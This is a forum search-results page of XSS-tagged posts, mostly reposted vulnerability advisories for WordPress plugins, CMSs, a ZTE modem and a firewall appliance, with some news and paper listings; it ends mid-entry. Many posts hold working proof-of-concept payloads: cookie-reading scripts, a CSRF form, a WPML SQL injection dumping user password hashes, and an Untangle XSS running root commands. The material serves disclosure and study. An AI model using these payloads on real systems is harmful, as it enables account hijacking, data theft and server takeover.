Jump to content

Search the Community

Showing results for tags 'xss'.

  • Search By Tags

    Type tags separated by commas.

  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End

Last Updated

  • Start

    End

Filter by number of...

Joined

  • Start

    End

Group

Website URL

Yahoo

Jabber

Skype

Location

Interests

Biography

Location

Interests

Occupation

Found 53 results

  1. KhiZaRix
    =============================================================================== CSRF/Stored XSS Vulnerability in AB Google Map Travel (AB-MAP) Wordpress Plugin =============================================================================== . contents:: Table Of Content Overview ======== * Title :Stored XSS Vulnerability in AB Google Map Travel (AB-MAP) Wordpress Plugin * Author: Kaustubh G. Padwad * Plugin Homepage: https://wordpress.org/plugins/ab-google-map-travel/ * Severity: HIGH * Version Affected: Version 3.4 and mostly prior to it * Version Tested : Version 3.4 * version patched: 4.0 * CVE ID : CVE-2015-2755 Description =========== Vulnerable Parameter -------------------- * Latitude: * Longitude: * Map Width: * Map Height: * Map Zoom: * And all Input Boxes About Vulnerability ------------------- This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= After installing the plugin After installing the plugin 1. Goto settings -> Google Map Travel 2. Insert this payload ## "> <script>+-+-1-+-+alert(document.cookie)</script> ## Into Any above mention Vulnerable parameter Save settings and see XSS in action 3. Visit Google Map Travel settings page of this plugin anytime later and you can see the script executing as it is stored. Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below <html> <body> <form action="http://localhost/wordpress/wp-admin/admin.php?page=ab_map_options" method="POST"> <input type="hidden" name="lat" value=""> <script>+-+-1-+-+alert(document.cookie)</script>" /> <input type="hidden" name="long" value="76.26730" /> <input type="hidden" name="lang" value="en" /> <input type="hidden" name="map_width" value="500" /> <input type="hidden" name="map_height" value="300" /> <input type="hidden" name="zoom" value="7" /> <input type="hidden" name="day_less_five_fare" value="llllll" /> <input type="hidden" name="day_more_five_fare" value="1.5" /> <input type="hidden" name="less_five_fare" value="3" /> <input type="hidden" name="more_five_fare" value="2.5" /> <input type="hidden" name="curr_format" value="$" /> <input type="hidden" name="submit" value="Update Settings" /> <input type="submit" value="Submit request" /> </form> </body> </html> . image:: csrf.jpeg :height: 1000 px :width: 1000 px :scale: 100 % :alt: XSS POC :align: center Mitigation ========== Update to version 4.0 Change Log ========== https://wordpress.org/plugins/ab-google-map-travel/changelog/ Disclosure ========== 07-March-2015 Reported to Developer 11-March-2015 Reported to Wordpress 11-March-2015 Acknowledgement from Developer 16-March-2015 Wordpress reviwed and publish the updated plugin. 16-March-2015 Requested for CVE ID 27-March-2015 CVE Assign 28-March-2015 Reposted with CVE ID credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source: http://dl.packetstormsecurity.net/1503-exploits/wpabgmt-xssxsrf.txt
  2. Aerosol
    Amazon has patched dangerous cross-site scripting (XSS) vulnerability in its website that exposed accounts to hijacking. A Brazilian hacker using the handle @bruteLogic published the then-zero-day flaw to XSSposed.org Saturday without tipping off the book giant. Amazon swatted the flaws two days later. The time between disclosure and patch opened what the hacker told Beta News was a chance for Amazon accounts to be compromised and web browsers exploited. His reasoning for full disclosure was that Amazon did not pay cash for bug bounty reports. He says the vulnerability allowed attacks to view Amazon user credit cards and to purchase items in their name, provided a victim clicked on a crafted malicious link. Amazon has been contacted for comment. Cross-site scripting vulnerabilities are a persistent scourge on internet assets. It allows attackers to quietly target victims using vulnerable web applications that do not properly check input. The Open Web Application Security Project puts XSS as the third worst application security blunder behind broken authentication and injection. The web hole follows Amazon's September kerfuffle after it reintroduced a flaw in its Kindle management page that could have allowed attackers to inject malcode into a book's title which could have commandeered accounts. Source
  3. KhiZaRix
    ###################################################################### [+] Title: Script Question2Answer 1.7 - Stored XSS Vulnerability [+] Author: s0w [+] Tested On Windows & Linux [+] Date: 21/03/2015 [+] Type: Web Application [+] Script Download: https://github.com/q2a/question2answer [+] Vendor Homepage: Question2Answer - Free Open Source Q&A Software for PHP [+] Vulnerability in:\qa-include\pages\question.php [+] Google Dork : intext:"Powered by Question2Answer" ####################################################################### [+] As shown in the code, the value of 'title' and 'textbody' not filtered by 'htmlspecialcharts' which cause stored xss and same in data-store in webserver SQL commands . [+] Exploit : 1. Browse application in browser .. 2. Add new question with xss code like alert method 3. submit the new question to viewers .. 4. complete next steps as xss in tag,body,title,.. etc .. 5. Finally submit your Qes .. 6. Test your target in main page ./index.php .. 7. Use this in Cookies,alerts, Or TrafficBots Have Fun !! [+] XSS Pattern can be used: '"<script>alert(/s0w/)</script> [+] Demo Video : Script Question2Answer - Stored XSS Vulnerability - YouTube [+] Demo Target : ???? ????? # Discovered By: s0w # Contact: fb.me/s0w.egy # Mail: s0wxp0c@gmail.com ?#? Greetz? To Egyptian Shell team | Sec4ever ?# Source:http://dl.packetstormsecurity.net/1503-exploits/question2answer-xss.txt
  4. Aerosol
    ########################### #Exploit Title: # Mobilis 3g mobiconnect 3G++ Stored XSS vulnerability #Date: 07/01/2015 #Author: kabanni kacily2008@gmail.com #Product web page: http://www.3G.dz/ http://www.mobilis.dz/ #Version Of software WEB_MOBILISDZMF667V1.0.0B03 #Version The firmware BD_HDW5MF667V1.0.0B01 #Version Equipment MF667-2.0.0 #Product & Service Introduction: http://www.zte.com.cn http://www.mobilis.dz/entreprises/mobiconnect.php http://www.3g.dz/fr/cle_mas/index.php?id_document=2 #Tested on: WifiSlax (Es) ########################### 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 1 ______ 0 0 .-" "-. 1 1 / HaChkerz_Dz \ =-=-=-=-=-=-=-=-=-=-=-=| 0 0 Algerian HaCker | | > Site : GDGBordj.org | 1 1 --------------- |, .-. .-. ,| > fb : @kabanni | 0 0 | )(_o/ \o_)( | > [email]kacily2008@gmail.com[/email]| 1 1 |/ /\ \| =-=-=-=-=-=-=-=-=-=-=-| 0 0 (@_ (_ ^^ _) 0X00 Team 1 1 _ ) \_______\__|IIIIII|__/_______________________ 0 0 (_)@8@8{}<________|-\IIIIII/-|________________________> 1 1 )_/ \ / 0 0 (@ `--------` 2015, 0x00 Team 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 0 Mobilis 3g mobiconnect 3G++ XSS vulnerability 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 ########################## # Sample Payload for Stored XSS: "<script>alert(0);</script> " # Solution Filter the input fields aganist to XSS attacks. # code : GET /goform/goform_get_cmd_process?cmd=%3Cscript%3Ealert%28%27happy%20new%20year%27%29%3C/script%3E HTTP/1.1 Host: 192.168.0.1 Or [url]http://m.home[/url] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ls_google_allow=1; ls_iserver_timestamp_bnc_bsaved=1414677822551; ctx1420m06d05=7b2273756363657777723a302c226c6f675f616374697665223a307d Authorization: Basic YWRtaW46YWRtaW4= Connection: keep-alive # Attack details : The variable cmd has been set to simple payload <script>alert('happy new year')</script> --==[[ Greetz To ]]==-- ############################################################################################ #0x00 , Alhack , Mr.elhdj Google , Hakim_Ghorb , Mohamed Ramaden , Team Anonymous . #Mr.Zaki ,Dr.Ben Taleb,unKnown ,Dahmani,Good_person ,Boud_Sah ,Moh_Dz ,Yass_assasine. #Amin-Biskra , Bouhlel ,Mr.Control, Najmo & All students TIC & Informatics at Msila_Msila #############################################################################################
  5. Aerosol
    ########################### #Exploit Title: # Script Cisco Network Academy - Stored XSS vulnerability #Date: 017/03/2015 #Author: kabanni bntdzdz@gmail.com #Product web page: www.cisco.com #Tested on: Windows 8.1 #OSVDB-ID: ########################### 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 1 ______ 0 0 .-" "-. 1 1 / HaChkerz_Dz \ =-=-=-=-=-=-=-=-=-=-=-=| 0 0 Algerian HaCker | | > Site : GDGBordj.org | 1 1 --------------- |, .-. .-. ,| > fb : @kabanni | 0 0 | )(_o/ \o_)( | > [email]kacily2008@gmail.com[/email]| 1 1 |/ /\ \| =-=-=-=-=-=-=-=-=-=-=-| 0 0 (@_ (_ ^^ _) 0X00 Team 1 1 _ ) \_______\__|IIIIII|__/_______________________ 0 0 (_)@8@8{}<________|-\IIIIII/-|________________________> 1 1 )_/ \ / 0 0 (@ `--------` 2015, 0x00 Team 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 0 Script Cisco Network Academy XSS vulnerability 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 ########################## Description A vulnerability in the web framework of Cisco Netacad could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface on the affected system. The vulnerability is due to insufficient input validation of several parameters in the input fields Quarantine web page. An attacker could exploit this vulnerability by persuading a user to access a malicious link. # Sample Payload for Stored XSS: "<script>alert(0);</script> " # Solution Fix & Patch: Filter the input fields aganist to XSS attacks & Upgrade the the script. #Security Risk: The risk of the vulnerabilities above estimated as high. #Proof of Concept (PoC): <input type="TEXT" maxlength="250" size="50" name="ANSWERrt_239101" disabled=""> #Details of the attack: The web site netacd.com , is allowed to the users pass the exams of CCNA . The questions compose in many format like Check box , Radio , and Input field . When enter the code malicious to a question witch content an input field , finally if submit the answers ,and when go to show the assessment , the user appear a message java script . --==[[ Greetz To ]]==-- ############################################################################################ #0x00 , Alhack , Mr.elhdj Google , Hakim_Ghorb , Mohamed Ramaden , Team Anonymous . #Mr.Zaki ,Dr.Ben Taleb,Nas_unknown ,Dahmani,Good_person ,Boud_Sah ,Moh_Dz ,Yass_assasine. #Amin-Biskra , Bouhlel ,Meliani, Najmo & All students TIC & Informatics at Univ-Msila ############################################################################################# --==[[Love to]]==-- # My Father & Mother ,All Kacem(bira9i9) ,my Ex Teacher , My wife . --==[[ All Muslims Hachers ]]==-- <3 0x00 Team <3 Source
  6. dr.d3v1l
  7. Aerosol
    Serendipity CMS - XSS Vulnerability in Version 2.0 ---------------------------------------------------------------- Product Information: Software: Serendipity CMS Tested Version: 2.0, released 23.1.2015 Vulnerability Type: Cross-Site Scripting (CWE-79) Download link: http://www.s9y.org/12.html Description: Serendipity is aimed to make everything possible you ever wish for. It is technically up to par to other well-known weblog scripts like Moveable Type or Wordpress. (copied from http://www.s9y.org/3.html) ---------------------------------------------------------------- Vulnerability description: XSS is found in category creation page. When an authenticated user of Serendipity CMS is creating a new category, the following POST request is sent to the server: POST /serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Content-Length: 394 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://127.0.0.1/serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: serendipity[old_session]=q8jagkbn03i41p1hea1vp3mqi7; serendipity[author_token]=906de2dd7201b75f1f710f59128e1ffb5cec6cf4; serendipity[userDefLang]=en; serendipity[toggle_extended]=true; serendipity[addmedia_directory]=undefined; serendipity[sortorder_perpage] serendipity[sortorder_order] serendipity[sortorder_ordermode] serendipity[only_path] serendipity[only_filename] serendipity[entrylist_filter_author] serendipity[entrylist_filter_category] serendipity[entrylist_filter_isdraft] serendipity[entrylist_sort_perPage] serendipity[entrylist_sort_ordermode] serendipity[entrylist_sort_order] s9y_f857b4bc988a333c379a2d9bd477dd65=q8jagkbn03i41p1hea1vp3mqi7 serendipity%5Btoken%5D=b95339bd8490707038719715c6d58e63&serendipity%5Bcat%5D%5Bname%5D=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&serendipity%5Bcat%5D%5Bdescription%5D=&serendipity%5Bcat%5D%5Bparent_cat%5D=0&serendipity%5Bcat%5D%5Bhide_sub%5D=0&serendipity%5Bcat%5D%5Bread_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bwrite_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bicon%5D=&SAVE=Create The parameter serendipity[cat][name] is vulnerable to XSS. The payload is executed when an authenticated user navigates to the "New Entry" page. ---------------------------------------------------------------- Impact: An attacker is able to leverage on the XSS vulnerability to exploit content creator of Serendipity CMS. An example would be to inject malicious JavaScript code in order to use attacking tools like BeEF. ---------------------------------------------------------------- Solution: Update to the latest version, which is 2.0.1, see http://blog.s9y.org/archives/263-Serendipity-2.0.1-released.html ---------------------------------------------------------------- Timeline: Vulnerability found: 12.3.2015 Vendor informed: 12.3.2015 Response by vendor: 12.3.2015 Fix by vendor 12.3.2015 Public Advisory: 13.3.2015 ---------------------------------------------------------------- Reference: https://github.com/s9y/Serendipity/commit/a30886d3bb9d8eeb6698948864c77caaa982435d ---------------------------------------------------------------- Best regards, Edric Teo Source
  8. sleed

    XSS Nokia

    sleed posted a topic in Bug Bounty

    Title: XSS Nokia.com PoC : Status: Raported References: Cross Site Scripting: OWASP Author: sleed
  9. Aerosol
    OVERVIEW ========== WPML is the industry standard for creating multi-lingual WordPress sites. Three vulnerabilities were found in the plug-in. The most serious of them, an SQL injection problem, allows anyone to read the contents of the WordPress database, including user details and password hashes, without authentication. System administrators should update to version 3.1.9.1 released earlier this week to resolve the issues. DETAILS ======== 1. SQL injection When WPML processed a HTTP POST request containing the parameter ”action=wp-link-ajax”, the current language is determined by parsing the HTTP referer. The parsed language code is not checked for validity, nor SQL-escaped. The user doesn’t need to be logged in. By sending a carefully crafted referer value with the mentioned POST request parameter, an attacker can perform SQL queries on arbitrary tables and retrieve their results. In addition to the standard WordPress database and tables, the attacker may query all other databases and tables accessible to the web backend. The following HTML snippet demonstrates the vulnerability: <script> var union="select user_login,1,user_email,2,3,4,5,6,user_pass,7,8,9,10,11,12 from wp_users"; if (document.location.search.length < 2) document.location.search="lang=xx' UNION "+union+" -- -- "; </script> <form method=POST action="https://YOUR.WORDPRESS.BLOG/comments/feed"> <input type=hidden name=action value="wp-link-ajax"> <input type=submit> </form> The results of the SQL query will be shown in the comments feed XML-formatted. 2. Page/post/menu deletion WPML contains a ”menu sync” function which helps site administrators to keep WordPress menus consistent across different languages. This functionality lacked any access control, allowing anyone to delete practically all content of the website - posts, pages, and menus. Example: <form method=POST action="https://YOUR.WORDPRESS.BLOG/?page=sitepress-multilingual-cms/menu/menus-sync.php"> <input type=hidden name="action" value="icl_msync_confirm"> <input type=text name="sync" size=50 value="del[x][y][12345]=z"> <input type=submit> </form> Submitting the above form would delete the row with the ID 12345 in the wp_posts database. Several items be deleted with the same request. 3. Reflected XSS The ”reminder popup” code intended for administrators in WPML didn’t check for login status or nonce. An attacker can direct target users to an URL like: https://YOUR.WORDPRESS.BLOG/?icl_action=reminder_popup&target=javascript%3Aalert%28%2Fhello+world%2f%29%3b%2f%2f to execute JavaScript in their browser. This example bypasses the Chrome XSS Auditor. In the case of WordPress, XSS triggered by an administrator can lead to server-side compromise via the plugin and theme editors. CREDITS ======== The vulnerabilities were found by Jouko Pynnonen of Klikki Oy while researching WordPress plugins falling in the scope of the Facebook bug bounty program. The vendor was notified on March 02, 2015 and the patch was released on March 10. Vendor advisory: http://wpml.org/2015/03/wpml-security-update-bug-and-fix/ An up-to-date version of this document can be found on our website http://klikki.fi . -- Jouko Pynnönen <jouko@iki.fi> Klikki Oy - http://klikki.fi Source
  10. sleed
    ### Title: Mail.Yahoo.Com Cross Site Scripting ### ### Vendor: Yahoo Mail ### ### Advisory Publication: 12-March-2015 ### ### Latest Update: 12-March-2015 ### ### Vulnerability Type: Cross-Site Scripting [ XSS ] ### CVE Reference: * ### ### CVSS Severity (version 2.0): ### ### Exploitability Subscore: 8.6 ### ### Credit: sleed @ Lucian I. ### *Status: Raported PoC: _______________
  11. Aerosol
    # Exploit Title: ocPortal 9.0.16 Multiply XSS Vulnerabilities # Google Dork: "Copyright (c) ocPortal 2011 " # Date: 26-2-2015 # Exploit Author: Dennis Veninga # Vendor Homepage: http://ocportal.com/ # Vendor contacted: 22-2-2015 # Fix: http://ocportal.com/site/news/view/security_issues/xss-vulnerability-patch.htm # Version: 9.0.16 # Tested on: Firefox 36 & Chrome 38 / W8.1-x64 ocPortal -> Version: 9.0.16 Type: XSS Severity: Critical Info Exploit: There are MANY possibilities to execute XSS on the new released ocPortal. All XSS attacks are done by a new registered user, so no extra rights are given. It's all standard. ####################################################### Events/Calendar, vulnerable to XSS attack: URL: http://{target}/ocportal/cms/index.php?page=cms_calendar&type=ad Title & text field, enter XSS code in both fields. Somewhere else the title XSS is executed, and elsewhere the Text/info XSS code is executed. When entering an XSS attack, on the events page, when mouse-over the just made event, it also reproduces an XSS. URL: http://{target}/ocportal/index.php?page=calendar&type=misc&id=2015-02&view=month XSS Vulnerability on the events which ALSO affects the Admin Panel, when Admin visits the panel and wants to edit it. ####################################################### Poll, vulnerable to XSS-attack. URL: http://{yourwebsite}/ocportal/cms/index.php?page=cms_polls&type=ad Just fill some XSS-code into the fields. Publish and see the result ####################################################### Forum, vulnerable to XSS-attack URL: http://{target}/ocportal/forum/index.php?page=topics&type=new_topic&id=2 Creating a new topic with all the fields XSS-ed, performs the XSS attack when an user is browsing the homepage. This is happening when the active topics are shown on the index page. But on the forum page itself, it isn't working. ####################################################### New PT (private topic/private message), vulnerable to XSS-attack URL: http://{target}/ocportal/forum/index.php?page=topics&type=new_pt Now, because I got a new private message, this XSS is executed everywhere!! ####################################################### Source
  12. Aerosol
    Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration > Networking > Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html> - Information disclosure from Local Directory Authentication requiredConfirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user. CH Source
  13. Aerosol
    XSS Auditor is getting pretty good at least in the tests I was doing however after a bit of testing I found a cool bypass. Without studying the code it seems that it checks for valid JavaScript within the vector, I thought I could use this to my advantage. I came up with the idea of using an existing script block to smuggle my vector and reusing the closing script on the page. The page contains a script block like this: <script>x = "MY INJECTION"</script> As every XSS hacker knows you can use a “</script>” block to escape out of the script block and inject a HTML XSS vector. So I broke out of the script block and used the trailing quote to form my vector. Like so: </script><script>alert(1)+" You could of course use a standard ",alert(1)," but what if quotes are filtered? I then came up with the idea of using SVG and an HTML escaped quote. This bypasses the filter and is a HTML XSS vector that doesn’t have a DOM vulnerability so it’s within scope of the filter and is very common in my experience. Here is the final vector: <script> x = "</script><svg><script>alert(1)+""; XSS auditor PoC: HERE Source
  14. Aerosol
    # Affected software: efrontlearning # Type of vulnerability: stored xss # URL: http://demo.efrontlearning.net/ # Discovered by: Provensec # Website: http://www.provensec.com # Description: Open Source e-Learning # Proof of concept #version:eFront 3.6.11 goto addd new category http://demo.efrontlearning.net/enterprise/www/administrator.php?ctg=directions and add new with xss payload "><img src=d onerror=confirm(1);> and save it payload will execute #screen:http://prntscr.com/69zhge Source
  15. Aerosol
    # Affected software: 4images # Type of vulnerability: clickjacking,xss # URL: http://www.4homepages.de/ # Discovered by: Provensec # Website: http://www.provensec.com # Description: 4images is a powerful web-based image gallery management system. Features include comment system, user registration and mangagement, password protected administration area with browser-based upload and HTML templates for page layout and design. # Proof of concept 1st:click jacking --: 4images was vuln to clickjacking which could be exploited and used to delete category http://i.imgur.com/vqfz8Lk.png clickjacking poc -: http://prntscr.com/670r9b 2nd: xss adding a new category with xss payload leads to persistent xss vuln http://prntscr.com/670rmi -- Best Regards, *Ankit Bharathan.* *Save Energy... Save Nature... Go Green...* P *Consider the environment. Please don't print this e-mail unless absolutely necessary.* Source
  16. Guest

    [XSS] Mavenlink.com

    Guest posted a topic in Bug Bounty

    Author : KRONZY TIP : XSS Status : Reported. PE HACKERONE.
  17. florin_darck
    Due to the lack of literature about DOM Based XSS identification tools awareness, we decided to write a paper that took the actual tools that are stated to be able to identify DOM Based XSS and test their capabilities when dealing with a real world DOM XSS issue. Minded Security has been the first company to launch a commercial tool aimed to identify DOM Based XSS with a runtime approach: DOMinatorPro. In 2012, as a result of our research on DOM XSS, we released the tainting engine on github.com as an open source project and created a commercial version that let users easily identify several kind of JavaScript vulnerabilities with a pretty high rate of accuracy . Since then, some tools, open source and commercial, have been developed and awareness on this very topic grew among application security experts. The following paper will try to give an unbiased study supported by objective facts about precision and accuracy of existing tools that are stated to identify DOM Based XSS vulnerabilities. Full slide : Comparing DOM XSS Tools On Real World Bug or PDF : https://dominator.mindedsecurity.com/sharedto/ComparingDOMXSSToolOnRealWorldBug.pdf Source : Minded Security Blog: Comparing DOM based XSS Identification Tools on a Real World Vulnerability
  18. 1488

    Yahoo XSS

    1488 posted a topic in Bug Bounty

    Status : RAPORTAT Este in User-Agent. Sa fie cu noroc!
  19. Aerosol
    XSS or Cross Site Scripting is a web application vulnerability that occurs when untrusted data from the user is processed by the web application without validation and is reflected back to the browser without encoding or escaping, resulting in code execution at the browser engine. type of XSS Reflected or Non-Persistent XSS ? Stored or Persistent XSS ? DOM based XSS ? mXSS or Mutation XSS Read more: http://dl.packetstormsecurity.net/papers/general/ultimate-xss.pdf
  20. Aerosol
    Table of Contents Abstract.........................................................................................................................................................1 1. Introduction..........................................................................................................................................2 1.1 Form Validation in HTML 4 ...........................................................................................................2 1.2 Form Validation in HTML5 ............................................................................................................3 2. HTML5 Security Concerns.....................................................................................................................4 2.1 Web Storage Attacks.....................................................................................................................4 3.1 Session Storage .............................................................................................................................5 3.2 Local Storage.................................................................................................................................5 3.3 localStorage API ............................................................................................................................6 3.3.1 Adding an Item..................................................................................................................6 3.3.2 Retrieving Items................................................................................................................6 3.3.3 Removing an Item .............................................................................................................6 3.3.4 Removing All Items............................................................................................................6 3.4 Session Storage API.......................................................................................................................7 3.4.1 Adding An Item..................................................................................................................7 3.4.2 Retrieving An Item.............................................................................................................7 3.4.3 Removing An Item.............................................................................................................7 3.4.4 Removing All Items............................................................................................................7 3.5 Security Concerns with Web Storage in HTML5 ...........................................................................7 3.6 Stealing Local Storage Data via XSS ..............................................................................................8 3.7 Stored DOM Based XSS Attacks....................................................................................................9 3.8 Example of a DOM Based XSS .....................................................................................................10 4. WebSockets Attacks ...........................................................................................................................11 4.1 Security Concerns of WebSockets Attacks..................................................................................11 4.1.1 Denial of Service Issues...................................................................................................11 4.1.2 Denial of Service on the Client Side ................................................................................11 4.1.3 Denial of Service on the Server Side ...............................................................................12 4.1.4 Data Confidentiality Issues..............................................................................................12 4.1.5 Cross-Site Scripting Issues in WebSocket........................................................................13 4.1.6 WebSocket Cross-Site Scripting Proof of Concept..........................................................13 4.1.7 Proof of Concept of WebSocket XSS ...............................................................................14 4.1.8 Origin Header..................................................................................................................15 5. XSS with HTML5 Vectors.....................................................................................................................16 5.1 Case 1 – Tags Blocked .................................................................................................................16 5.2 Case 2 - Attribute Context...........................................................................................................16 5.2.1 Example...........................................................................................................................16 5.3 Case 3 – Formaction attribute ....................................................................................................18 6. Cross Origin Resource Sharing (CORS)................................................................................................19 6.1 What is an Origin?.......................................................................................................................19 6.2 Crossdomain.xml.........................................................................................................................19 6.3 What is CORS?.............................................................................................................................20 6.3.1 Example...........................................................................................................................20 6.3.2 Security Issue...................................................................................................................20 6.3.3 Example...........................................................................................................................20 6.3.4 Example...........................................................................................................................20 6.3.5 Proof of Concept .............................................................................................................22 7. GeoLocation API..................................................................................................................................23 7.1 Introduction ................................................................................................................................23 7.2 Security Concerns........................................................................................................................23 7.2.1 Example...........................................................................................................................23 7.2.2 Proof of Concept .............................................................................................................24 7.2.3 Chrome............................................................................................................................24 7.2.4 Firefox..............................................................................................................................24 8. Client Side RFI Includes.......................................................................................................................26 8.1 Vulnerability Example .................................................................................................................26 8.2 Example.......................................................................................................................................27 8.3 Request .......................................................................................................................................28 8.4 Safer Example .............................................................................................................................28 8.5 Open Redirects............................................................................................................................29 8.5.1 Example...........................................................................................................................29 9. Cross Window Messaging...................................................................................................................30 9.1 Sender’s Window........................................................................................................................30Copyright© 2014 RHA InfoSEC. All rights reserved. Page iv 9.2 Receiver’s Window......................................................................................................................30 9.3 Security Concerns........................................................................................................................31 9.3.1 Origin not being checked ................................................................................................31 9.3.2 Impact .............................................................................................................................31 9.3.3 DOM Based XSS...............................................................................................................31 9.3.4 Vulnerable Code..............................................................................................................32 10. Sandboxed Iframes.............................................................................................................................33 10.1 Security Concerns........................................................................................................................33 11. Offline Applications ............................................................................................................................34 11.1 Example.......................................................................................................................................34 11.2 Security Concerns........................................................................................................................35 12. WebSQL ..............................................................................................................................................37 12.1 Security Concerns........................................................................................................................37 12.2 SQL Injection ...............................................................................................................................37 12.3 Insecure Statement.....................................................................................................................37 12.4 Secure Statement........................................................................................................................38 12.5 Cross Site Scripting......................................................................................................................39 12.5.1 Example...........................................................................................................................40 13. Scalable Vector Graphics....................................................................................................................41 14. Webworkers........................................................................................................................................44 14.1 Creating a Webworker................................................................................................................44 14.1.1 Sending/Receiving a Message to/from Webworker.......................................................44 14.2 Cross Site Scripting Vulnerability ................................................................................................46 14.2.1 Example...........................................................................................................................46 14.3 Distributed Denial of Service Attacks..........................................................................................47 14.4 Distributed Password Cracking ...................................................................................................50 15. Stealing Personal Data Stored With Autocomplete Function ............................................................52 15.1 Example: Autocomplete Attribute in Action...............................................................................52 16. Scanning Private IP Addresses............................................................................................................54 16.1 WebRTC.......................................................................................................................................54 17. Security Headers to Enhance Security with HTML5 ...........................................................................56 17.1 X- XSS-Protection ........................................................................................................................56 17.2 X-Frame-Options.........................................................................................................................56 17.3 Strict-Transport-Security.............................................................................................................57 17.3.1 Example...........................................................................................................................58 17.4 